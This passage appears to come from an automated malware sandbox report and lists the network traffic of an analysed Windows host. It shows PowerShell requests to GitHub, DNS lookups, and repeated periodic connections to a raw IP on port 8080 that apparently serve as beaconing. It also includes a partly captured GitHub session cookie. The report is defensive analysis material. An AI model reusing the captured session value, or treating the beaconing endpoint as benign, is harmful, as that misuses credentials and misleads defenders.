Sep 30, 2024 15:51:00.531534910 CEST	443	49825	185.199.110.154	192.168.2.7
Sep 30, 2024 15:51:00.531559944 CEST	49825	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:51:00.531599998 CEST	49825	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:51:00.531737089 CEST	443	49825	185.199.110.154	192.168.2.7
Sep 30, 2024 15:51:00.531781912 CEST	49825	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:51:00.531992912 CEST	443	49825	185.199.110.154	192.168.2.7
Sep 30, 2024 15:51:00.532036066 CEST	49825	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:51:00.532047033 CEST	443	49825	185.199.110.154	192.168.2.7
Sep 30, 2024 15:51:00.532083035 CEST	49825	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:51:00.532114983 CEST	443	49825	185.199.110.154	192.168.2.7
Sep 30, 2024 15:51:00.532149076 CEST	49825	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:51:00.532152891 CEST	443	49825	185.199.110.154	192.168.2.7
Sep 30, 2024 15:51:00.532176018 CEST	443	49825	185.199.110.154	192.168.2.7
Sep 30, 2024 15:51:00.532198906 CEST	49825	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:51:00.532203913 CEST	443	49825	185.199.110.154	192.168.2.7
Sep 30, 2024 15:51:00.532217026 CEST	49825	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:51:00.532274008 CEST	49825	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:51:00.533046007 CEST	443	49825	185.199.110.154	192.168.2.7
Sep 30, 2024 15:51:00.533096075 CEST	49825	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:51:00.533113003 CEST	443	49825	185.199.110.154	192.168.2.7
Sep 30, 2024 15:51:00.533162117 CEST	49825	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:51:00.547821045 CEST	443	49825	185.199.110.154	192.168.2.7
Sep 30, 2024 15:51:00.547883987 CEST	49825	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:51:00.623970985 CEST	443	49825	185.199.110.154	192.168.2.7
Sep 30, 2024 15:51:00.624047995 CEST	443	49825	185.199.110.154	192.168.2.7
Sep 30, 2024 15:51:00.624068975 CEST	49825	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:51:00.624077082 CEST	443	49825	185.199.110.154	192.168.2.7
Sep 30, 2024 15:51:00.624098063 CEST	443	49825	185.199.110.154	192.168.2.7
Sep 30, 2024 15:51:00.624114037 CEST	49825	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:51:00.624141932 CEST	443	49825	185.199.110.154	192.168.2.7
Sep 30, 2024 15:51:00.624145985 CEST	49825	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:51:00.624152899 CEST	443	49825	185.199.110.154	192.168.2.7
Sep 30, 2024 15:51:00.624176979 CEST	49825	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:51:00.624191999 CEST	49825	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:51:00.624196053 CEST	443	49825	185.199.110.154	192.168.2.7
Sep 30, 2024 15:51:00.624233007 CEST	49825	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:51:00.624238014 CEST	443	49825	185.199.110.154	192.168.2.7
Sep 30, 2024 15:51:00.624274969 CEST	49825	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:51:00.937659979 CEST	49826	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:51:00.937684059 CEST	443	49826	185.199.110.154	192.168.2.7
Sep 30, 2024 15:51:00.937819004 CEST	49826	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:51:00.937825918 CEST	443	49826	185.199.110.154	192.168.2.7
Sep 30, 2024 15:51:00.938862085 CEST	49825	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:51:00.938882113 CEST	443	49825	185.199.110.154	192.168.2.7
Sep 30, 2024 15:51:00.939646006 CEST	49827	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:51:00.939707041 CEST	443	49827	185.199.110.154	192.168.2.7
Sep 30, 2024 15:51:00.939779043 CEST	49827	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:51:00.939951897 CEST	49827	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:51:00.939965963 CEST	443	49827	185.199.110.154	192.168.2.7
Sep 30, 2024 15:51:01.033967972 CEST	443	49826	185.199.110.154	192.168.2.7
Sep 30, 2024 15:51:01.034037113 CEST	443	49826	185.199.110.154	192.168.2.7
Sep 30, 2024 15:51:01.034063101 CEST	49826	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:51:01.034087896 CEST	443	49826	185.199.110.154	192.168.2.7
Sep 30, 2024 15:51:01.034101009 CEST	49826	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:51:01.034110069 CEST	443	49826	185.199.110.154	192.168.2.7
Sep 30, 2024 15:51:01.034131050 CEST	49826	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:51:01.034162045 CEST	49826	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:51:01.037892103 CEST	49826	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:51:01.037923098 CEST	443	49826	185.199.110.154	192.168.2.7
Sep 30, 2024 15:51:01.125755072 CEST	49828	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:51:01.125838041 CEST	443	49828	185.199.110.154	192.168.2.7
Sep 30, 2024 15:51:01.125900030 CEST	49828	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:51:01.126463890 CEST	49828	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:51:01.126478910 CEST	443	49828	185.199.110.154	192.168.2.7
Sep 30, 2024 15:51:01.396996021 CEST	443	49827	185.199.110.154	192.168.2.7
Sep 30, 2024 15:51:01.397141933 CEST	49827	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:51:01.575486898 CEST	49827	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:51:01.575515985 CEST	443	49827	185.199.110.154	192.168.2.7
Sep 30, 2024 15:51:01.577778101 CEST	49827	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:51:01.577785969 CEST	443	49827	185.199.110.154	192.168.2.7
Sep 30, 2024 15:51:01.588083982 CEST	443	49828	185.199.110.154	192.168.2.7
Sep 30, 2024 15:51:01.588184118 CEST	49828	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:51:01.598375082 CEST	49828	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:51:01.598396063 CEST	443	49828	185.199.110.154	192.168.2.7
Sep 30, 2024 15:51:01.598792076 CEST	49828	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:51:01.598798037 CEST	443	49828	185.199.110.154	192.168.2.7
Sep 30, 2024 15:51:01.707130909 CEST	443	49827	185.199.110.154	192.168.2.7
Sep 30, 2024 15:51:01.707182884 CEST	443	49827	185.199.110.154	192.168.2.7
Sep 30, 2024 15:51:01.707217932 CEST	443	49827	185.199.110.154	192.168.2.7
Sep 30, 2024 15:51:01.707257032 CEST	49827	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:51:01.707288980 CEST	443	49827	185.199.110.154	192.168.2.7
Sep 30, 2024 15:51:01.707308054 CEST	49827	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:51:01.707334042 CEST	49827	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:51:01.707369089 CEST	443	49827	185.199.110.154	192.168.2.7
Sep 30, 2024 15:51:01.707406998 CEST	49827	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:51:01.724004984 CEST	443	49828	185.199.110.154	192.168.2.7
Sep 30, 2024 15:51:01.724103928 CEST	49828	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:51:01.724117041 CEST	443	49828	185.199.110.154	192.168.2.7
Sep 30, 2024 15:51:01.724164009 CEST	49828	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:51:01.724183083 CEST	443	49828	185.199.110.154	192.168.2.7
Sep 30, 2024 15:51:01.724229097 CEST	49828	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:51:01.724236012 CEST	443	49828	185.199.110.154	192.168.2.7
Sep 30, 2024 15:51:01.724265099 CEST	443	49828	185.199.110.154	192.168.2.7
Sep 30, 2024 15:51:01.724278927 CEST	49828	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:51:01.724287033 CEST	443	49828	185.199.110.154	192.168.2.7
Sep 30, 2024 15:51:01.724298954 CEST	49828	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:51:01.724344969 CEST	49828	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:51:01.728846073 CEST	49827	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:51:01.728888035 CEST	443	49827	185.199.110.154	192.168.2.7
Sep 30, 2024 15:51:01.729428053 CEST	49829	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:51:01.729469061 CEST	443	49829	185.199.110.154	192.168.2.7
Sep 30, 2024 15:51:01.729552984 CEST	49829	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:51:01.729916096 CEST	49829	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:51:01.729927063 CEST	443	49829	185.199.110.154	192.168.2.7
Sep 30, 2024 15:51:01.731173992 CEST	443	49828	185.199.110.154	192.168.2.7
Sep 30, 2024 15:51:01.731232882 CEST	49828	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:51:01.731242895 CEST	443	49828	185.199.110.154	192.168.2.7
Sep 30, 2024 15:51:01.731266975 CEST	443	49828	185.199.110.154	192.168.2.7
Sep 30, 2024 15:51:01.731283903 CEST	49828	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:51:01.731311083 CEST	49828	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:51:01.752849102 CEST	49828	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:51:01.752883911 CEST	443	49828	185.199.110.154	192.168.2.7
Sep 30, 2024 15:51:02.192759037 CEST	443	49829	185.199.110.154	192.168.2.7
Sep 30, 2024 15:51:02.192852020 CEST	49829	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:51:03.219655037 CEST	49829	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:51:03.219685078 CEST	443	49829	185.199.110.154	192.168.2.7
Sep 30, 2024 15:51:03.228652954 CEST	49829	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:51:03.228681087 CEST	443	49829	185.199.110.154	192.168.2.7
Sep 30, 2024 15:51:03.325171947 CEST	443	49829	185.199.110.154	192.168.2.7
Sep 30, 2024 15:51:03.325234890 CEST	443	49829	185.199.110.154	192.168.2.7
Sep 30, 2024 15:51:03.325272083 CEST	443	49829	185.199.110.154	192.168.2.7
Sep 30, 2024 15:51:03.325301886 CEST	443	49829	185.199.110.154	192.168.2.7
Sep 30, 2024 15:51:03.325319052 CEST	49829	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:51:03.325334072 CEST	443	49829	185.199.110.154	192.168.2.7
Sep 30, 2024 15:51:03.325345039 CEST	443	49829	185.199.110.154	192.168.2.7
Sep 30, 2024 15:51:03.325347900 CEST	49829	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:51:03.325357914 CEST	49829	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:51:03.325378895 CEST	49829	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:51:03.325388908 CEST	49829	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:51:03.330822945 CEST	443	49829	185.199.110.154	192.168.2.7
Sep 30, 2024 15:51:03.330918074 CEST	443	49829	185.199.110.154	192.168.2.7
Sep 30, 2024 15:51:03.330930948 CEST	49829	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:51:03.330970049 CEST	49829	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:51:03.599819899 CEST	49829	443	192.168.2.7	185.199.110.154
Sep 30, 2024 15:51:03.599857092 CEST	443	49829	185.199.110.154	192.168.2.7
Sep 30, 2024 15:51:05.619062901 CEST	49790	8080	192.168.2.7	3.120.98.217
Sep 30, 2024 15:51:05.667052984 CEST	8080	49790	3.120.98.217	192.168.2.7
Sep 30, 2024 15:51:06.320117950 CEST	8080	49790	3.120.98.217	192.168.2.7
Sep 30, 2024 15:51:06.320209026 CEST	49790	8080	192.168.2.7	3.120.98.217
Sep 30, 2024 15:51:11.055264950 CEST	49830	8080	192.168.2.7	3.120.98.217
Sep 30, 2024 15:51:11.061525106 CEST	8080	49830	3.120.98.217	192.168.2.7
Sep 30, 2024 15:51:11.061610937 CEST	49830	8080	192.168.2.7	3.120.98.217
Sep 30, 2024 15:51:11.063049078 CEST	49830	8080	192.168.2.7	3.120.98.217
Sep 30, 2024 15:51:11.069938898 CEST	8080	49830	3.120.98.217	192.168.2.7
Sep 30, 2024 15:51:31.566782951 CEST	49830	8080	192.168.2.7	3.120.98.217
Sep 30, 2024 15:51:31.615312099 CEST	8080	49830	3.120.98.217	192.168.2.7
Sep 30, 2024 15:51:32.415468931 CEST	8080	49830	3.120.98.217	192.168.2.7
Sep 30, 2024 15:51:32.415548086 CEST	49830	8080	192.168.2.7	3.120.98.217
Sep 30, 2024 15:51:37.275515079 CEST	49831	8080	192.168.2.7	3.120.98.217
Sep 30, 2024 15:51:37.280535936 CEST	8080	49831	3.120.98.217	192.168.2.7
Sep 30, 2024 15:51:37.280663013 CEST	49831	8080	192.168.2.7	3.120.98.217
Sep 30, 2024 15:51:37.281722069 CEST	49831	8080	192.168.2.7	3.120.98.217
Sep 30, 2024 15:51:37.286650896 CEST	8080	49831	3.120.98.217	192.168.2.7
Sep 30, 2024 15:51:58.267292023 CEST	49831	8080	192.168.2.7	3.120.98.217
Sep 30, 2024 15:51:58.315200090 CEST	8080	49831	3.120.98.217	192.168.2.7
Sep 30, 2024 15:51:58.649092913 CEST	8080	49831	3.120.98.217	192.168.2.7
Sep 30, 2024 15:51:58.652064085 CEST	49831	8080	192.168.2.7	3.120.98.217
Sep 30, 2024 15:52:03.607650995 CEST	49832	8080	192.168.2.7	3.120.98.217
Sep 30, 2024 15:52:04.506295919 CEST	8080	49832	3.120.98.217	192.168.2.7
Sep 30, 2024 15:52:04.506459951 CEST	49832	8080	192.168.2.7	3.120.98.217
Sep 30, 2024 15:52:04.516505003 CEST	49832	8080	192.168.2.7	3.120.98.217
Sep 30, 2024 15:52:04.521384954 CEST	8080	49832	3.120.98.217	192.168.2.7
Sep 30, 2024 15:52:25.435048103 CEST	49832	8080	192.168.2.7	3.120.98.217
Sep 30, 2024 15:52:25.483267069 CEST	8080	49832	3.120.98.217	192.168.2.7
Sep 30, 2024 15:52:25.869605064 CEST	8080	49832	3.120.98.217	192.168.2.7
Sep 30, 2024 15:52:25.869752884 CEST	49832	8080	192.168.2.7	3.120.98.217
Sep 30, 2024 15:52:30.546416044 CEST	49833	8080	192.168.2.7	3.120.98.217
Sep 30, 2024 15:52:30.551493883 CEST	8080	49833	3.120.98.217	192.168.2.7
Sep 30, 2024 15:52:30.551647902 CEST	49833	8080	192.168.2.7	3.120.98.217
Sep 30, 2024 15:52:30.556894064 CEST	49833	8080	192.168.2.7	3.120.98.217
Sep 30, 2024 15:52:30.561861038 CEST	8080	49833	3.120.98.217	192.168.2.7
Sep 30, 2024 15:52:50.795366049 CEST	49833	8080	192.168.2.7	3.120.98.217
Sep 30, 2024 15:52:50.843199968 CEST	8080	49833	3.120.98.217	192.168.2.7
Sep 30, 2024 15:52:51.915923119 CEST	8080	49833	3.120.98.217	192.168.2.7
Sep 30, 2024 15:52:51.916018009 CEST	49833	8080	192.168.2.7	3.120.98.217
Sep 30, 2024 15:52:56.050189018 CEST	49834	8080	192.168.2.7	3.120.98.217
Sep 30, 2024 15:52:56.058490038 CEST	8080	49834	3.120.98.217	192.168.2.7
Sep 30, 2024 15:52:56.058562040 CEST	49834	8080	192.168.2.7	3.120.98.217
Sep 30, 2024 15:52:56.062079906 CEST	49834	8080	192.168.2.7	3.120.98.217
Sep 30, 2024 15:52:56.069334984 CEST	8080	49834	3.120.98.217	192.168.2.7
Sep 30, 2024 15:53:16.362728119 CEST	49834	8080	192.168.2.7	3.120.98.217
Sep 30, 2024 15:53:16.411326885 CEST	8080	49834	3.120.98.217	192.168.2.7
Sep 30, 2024 15:53:17.467315912 CEST	8080	49834	3.120.98.217	192.168.2.7
Sep 30, 2024 15:53:17.467602968 CEST	49834	8080	192.168.2.7	3.120.98.217
Sep 30, 2024 15:53:21.888432026 CEST	49835	8080	192.168.2.7	3.120.98.217
Sep 30, 2024 15:53:21.893429041 CEST	8080	49835	3.120.98.217	192.168.2.7
Sep 30, 2024 15:53:21.893512011 CEST	49835	8080	192.168.2.7	3.120.98.217
Sep 30, 2024 15:53:21.907421112 CEST	49835	8080	192.168.2.7	3.120.98.217
Sep 30, 2024 15:53:21.912336111 CEST	8080	49835	3.120.98.217	192.168.2.7
Sep 30, 2024 15:53:43.102967978 CEST	49835	8080	192.168.2.7	3.120.98.217
Sep 30, 2024 15:53:43.151314020 CEST	8080	49835	3.120.98.217	192.168.2.7
Sep 30, 2024 15:53:43.265405893 CEST	8080	49835	3.120.98.217	192.168.2.7
Sep 30, 2024 15:53:43.265532017 CEST	49835	8080	192.168.2.7	3.120.98.217
Sep 30, 2024 15:53:48.226188898 CEST	49836	8080	192.168.2.7	3.120.98.217
Sep 30, 2024 15:53:48.231620073 CEST	8080	49836	3.120.98.217	192.168.2.7
Sep 30, 2024 15:53:48.231707096 CEST	49836	8080	192.168.2.7	3.120.98.217
Sep 30, 2024 15:53:48.241707087 CEST	49836	8080	192.168.2.7	3.120.98.217
Sep 30, 2024 15:53:48.246551991 CEST	8080	49836	3.120.98.217	192.168.2.7
Sep 30, 2024 15:54:09.303612947 CEST	49836	8080	192.168.2.7	3.120.98.217
Sep 30, 2024 15:54:09.351998091 CEST	8080	49836	3.120.98.217	192.168.2.7
Sep 30, 2024 15:54:09.589431047 CEST	8080	49836	3.120.98.217	192.168.2.7
Sep 30, 2024 15:54:09.591624975 CEST	49836	8080	192.168.2.7	3.120.98.217
Sep 30, 2024 15:54:15.390151978 CEST	49837	8080	192.168.2.7	3.120.98.217
Sep 30, 2024 15:54:15.395102024 CEST	8080	49837	3.120.98.217	192.168.2.7
Sep 30, 2024 15:54:15.395168066 CEST	49837	8080	192.168.2.7	3.120.98.217
Sep 30, 2024 15:54:15.805603981 CEST	49837	8080	192.168.2.7	3.120.98.217
Sep 30, 2024 15:54:15.810416937 CEST	8080	49837	3.120.98.217	192.168.2.7
Sep 30, 2024 15:54:36.819242001 CEST	8080	49837	3.120.98.217	192.168.2.7
Sep 30, 2024 15:54:36.819363117 CEST	49837	8080	192.168.2.7	3.120.98.217

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 30, 2024 15:49:48.383750916 CEST	57551	53	192.168.2.7	1.1.1.1
Sep 30, 2024 15:50:01.014173985 CEST	53216	53	192.168.2.7	1.1.1.1
Sep 30, 2024 15:50:01.021883011 CEST	53	53216	1.1.1.1	192.168.2.7
Sep 30, 2024 15:50:01.881323099 CEST	52954	53	192.168.2.7	1.1.1.1
Sep 30, 2024 15:50:01.888880968 CEST	53	52954	1.1.1.1	192.168.2.7
Sep 30, 2024 15:50:09.246709108 CEST	62328	53	192.168.2.7	1.1.1.1
Sep 30, 2024 15:50:09.520019054 CEST	53	62328	1.1.1.1	192.168.2.7

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Sep 30, 2024 15:49:48.383750916 CEST	192.168.2.7	1.1.1.1	0xa0ef	Standard query (0)	time.windows.com	A (IP address)	IN (0x0001)	false
Sep 30, 2024 15:50:01.014173985 CEST	192.168.2.7	1.1.1.1	0x6e1c	Standard query (0)	raw.githubusercontent.com	A (IP address)	IN (0x0001)	false
Sep 30, 2024 15:50:01.881323099 CEST	192.168.2.7	1.1.1.1	0x15ba	Standard query (0)	github.com	A (IP address)	IN (0x0001)	false
Sep 30, 2024 15:50:09.246709108 CEST	192.168.2.7	1.1.1.1	0x6add	Standard query (0)	github.githubassets.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Sep 30, 2024 15:49:48.390836954 CEST	1.1.1.1	192.168.2.7	0xa0ef	No error (0)	time.windows.com	twc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Sep 30, 2024 15:50:01.021883011 CEST	1.1.1.1	192.168.2.7	0x6e1c	No error (0)	raw.githubusercontent.com		185.199.111.133	A (IP address)	IN (0x0001)	false
Sep 30, 2024 15:50:01.021883011 CEST	1.1.1.1	192.168.2.7	0x6e1c	No error (0)	raw.githubusercontent.com		185.199.110.133	A (IP address)	IN (0x0001)	false
Sep 30, 2024 15:50:01.021883011 CEST	1.1.1.1	192.168.2.7	0x6e1c	No error (0)	raw.githubusercontent.com		185.199.108.133	A (IP address)	IN (0x0001)	false
Sep 30, 2024 15:50:01.021883011 CEST	1.1.1.1	192.168.2.7	0x6e1c	No error (0)	raw.githubusercontent.com		185.199.109.133	A (IP address)	IN (0x0001)	false
Sep 30, 2024 15:50:01.888880968 CEST	1.1.1.1	192.168.2.7	0x15ba	No error (0)	github.com		140.82.121.4	A (IP address)	IN (0x0001)	false
Sep 30, 2024 15:50:09.520019054 CEST	1.1.1.1	192.168.2.7	0x6add	No error (0)	github.githubassets.com		185.199.110.154	A (IP address)	IN (0x0001)	false
Sep 30, 2024 15:50:09.520019054 CEST	1.1.1.1	192.168.2.7	0x6add	No error (0)	github.githubassets.com		185.199.109.154	A (IP address)	IN (0x0001)	false
Sep 30, 2024 15:50:09.520019054 CEST	1.1.1.1	192.168.2.7	0x6add	No error (0)	github.githubassets.com		185.199.108.154	A (IP address)	IN (0x0001)	false
Sep 30, 2024 15:50:09.520019054 CEST	1.1.1.1	192.168.2.7	0x6add	No error (0)	github.githubassets.com		185.199.111.154	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

raw.githubusercontent.com

github.com

github.githubassets.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49703	185.199.111.133	443	6764	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-30 13:50:01 UTC	170	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: raw.githubusercontent.com Connection: Keep-Alive
2024-09-30 13:50:01 UTC	801	IN	HTTP/1.1 301 Moved Permanently Connection: close Content-Length: 0 Content-Security-Policy: default-src 'none'; style-src 'unsafe-inline'; sandbox Location: https://github.com/ Strict-Transport-Security: max-age=31536000 X-Content-Type-Options: nosniff X-Frame-Options: deny X-XSS-Protection: 1; mode=block X-GitHub-Request-Id: 8C05:1F516B:45791B:4B2D63:66FA9FCE Accept-Ranges: bytes Date: Mon, 30 Sep 2024 13:50:01 GMT Via: 1.1 varnish X-Served-By: cache-nyc-kteb1890072-NYC X-Cache: HIT X-Cache-Hits: 2 X-Timer: S1727704202.832824,VS0,VE0 Vary: Authorization,Accept-Encoding,Origin Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin X-Fastly-Request-ID: b9d8d0d1fdce211426335d6c72baddc1b37a4a08 Expires: Mon, 30 Sep 2024 13:55:01 GMT Source-Age: 3257

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.7	49704	140.82.121.4	443	6764	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-30 13:50:02 UTC	155	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: github.com Connection: Keep-Alive
2024-09-30 13:50:02 UTC	579	IN	HTTP/1.1 200 OK Server: GitHub.com Date: Mon, 30 Sep 2024 13:49:54 GMT Content-Type: text/html; charset=utf-8 Vary: X-PJAX, X-PJAX-Container, Turbo-Visit, Turbo-Frame, Accept-Language, Accept-Encoding, Accept, X-Requested-With content-language: en-US ETag: W/"e09c6990b2c5d4e9578bbc6bcd0d8d32" Cache-Control: max-age=0, private, must-revalidate Strict-Transport-Security: max-age=31536000; includeSubdomains; preload X-Frame-Options: deny X-Content-Type-Options: nosniff X-XSS-Protection: 0 Referrer-Policy: origin-when-cross-origin, strict-origin-when-cross-origin
2024-09-30 13:50:02 UTC	3392	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 53 65 63 75 72 69 74 79 2d 50 6f 6c 69 63 79 3a 20 64 65 66 61 75 6c 74 2d 73 72 63 20 27 6e 6f 6e 65 27 3b 20 62 61 73 65 2d 75 72 69 20 27 73 65 6c 66 27 3b 20 63 68 69 6c 64 2d 73 72 63 20 67 69 74 68 75 62 2e 63 6f 6d 2f 61 73 73 65 74 73 2d 63 64 6e 2f 77 6f 72 6b 65 72 2f 20 67 69 74 68 75 62 2e 63 6f 6d 2f 77 65 62 70 61 63 6b 2f 20 67 69 74 68 75 62 2e 63 6f 6d 2f 61 73 73 65 74 73 2f 20 67 69 73 74 2e 67 69 74 68 75 62 2e 63 6f 6d 2f 61 73 73 65 74 73 2d 63 64 6e 2f 77 6f 72 6b 65 72 2f 3b 20 63 6f 6e 6e 65 63 74 2d 73 72 63 20 27 73 65 6c 66 27 20 75 70 6c 6f 61 64 73 2e 67 69 74 68 75 62 2e 63 6f 6d 20 77 77 77 2e 67 69 74 68 75 62 73 74 61 74 75 73 2e 63 6f 6d 20 63 6f 6c 6c 65 63 74 6f 72 2e 67 69 74 68 75 62 2e 63 6f Data Ascii: Content-Security-Policy: default-src 'none'; base-uri 'self'; child-src github.com/assets-cdn/worker/ github.com/webpack/ github.com/assets/ gist.github.com/assets-cdn/worker/; connect-src 'self' uploads.github.com www.githubstatus.com collector.github.co
2024-09-30 13:50:02 UTC	818	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 5f 67 68 5f 73 65 73 73 3d 49 75 4c 36 49 4d 47 63 6b 70 7a 42 73 33 5a 4e 53 67 71 66 45 46 59 4c 56 4d 68 62 36 53 25 32 42 77 64 57 41 71 6b 57 38 6d 36 66 77 51 53 53 67 71 79 6a 38 31 64 4a 25 32 46 51 4b 65 48 70 34 32 65 39 57 6c 70 5a 25 32 46 25 32 46 71 4f 73 51 6b 69 57 41 59 4a 62 74 47 65 6c 59 73 4f 59 7a 4f 66 31 5a 45 70 72 31 44 56 33 43 74 6f 52 65 63 49 58 34 6e 72 4e 61 72 54 7a 42 79 75 4c 30 79 42 41 50 38 71 4c 54 56 4b 47 61 51 47 46 6c 6e 4f 4c 50 45 4a 58 49 4a 4e 48 31 51 70 62 25 32 46 49 4f 61 6d 76 43 79 6a 52 36 79 30 70 51 79 67 57 25 32 46 25 32 46 73 55 52 59 53 4b 25 32 42 70 30 53 65 78 7a 66 4a 62 53 50 64 75 65 61 74 4c 38 57 43 35 47 45 77 36 4e 25 32 42 34 58 6e 54 43 63 34 6d 78 Data Ascii: Set-Cookie: _gh_sess=IuL6IMGckpzBs3ZNSgqfEFYLVMhb6S%2BwdWAqkW8m6fwQSSgqyj81dJ%2FQKeHp42e9WlpZ%2F%2FqOsQkiWAYJbtGelYsOYzOf1ZEpr1DV3CtoRecIX4nrNarTzByuL0yBAP8qLTVKGaQGFlnOLPEJXIJNH1Qpb%2FIOamvCyjR6y0pQygW%2F%2FsURYSK%2Bp0SexzfJbSPdueatL8WC5GEw6N%2B4XnTCc4mx
2024-09-30 13:50:02 UTC	1370	IN	Data Raw: 38 30 30 30 0d 0a 0a 0a 0a 0a 0a 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 0a 20 20 6c 61 6e 67 3d 22 65 6e 22 0a 20 20 0a 20 20 64 61 74 61 2d 63 6f 6c 6f 72 2d 6d 6f 64 65 3d 22 6c 69 67 68 74 22 20 64 61 74 61 2d 6c 69 67 68 74 2d 74 68 65 6d 65 3d 22 6c 69 67 68 74 22 20 64 61 74 61 2d 64 61 72 6b 2d 74 68 65 6d 65 3d 22 64 61 72 6b 22 0a 20 20 64 61 74 61 2d 61 31 31 79 2d 61 6e 69 6d 61 74 65 64 2d 69 6d 61 67 65 73 3d 22 73 79 73 74 65 6d 22 20 64 61 74 61 2d 61 31 31 79 2d 6c 69 6e 6b 2d 75 6e 64 65 72 6c 69 6e 65 73 3d 22 74 72 75 65 22 0a 20 20 0a 20 20 3e 0a 0a 0a 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 64 6e 73 Data Ascii: 8000<!DOCTYPE html><html lang="en" data-color-mode="light" data-light-theme="light" data-dark-theme="dark" data-a11y-animated-images="system" data-a11y-link-underlines="true" > <head> <meta charset="utf-8"> <link rel="dns
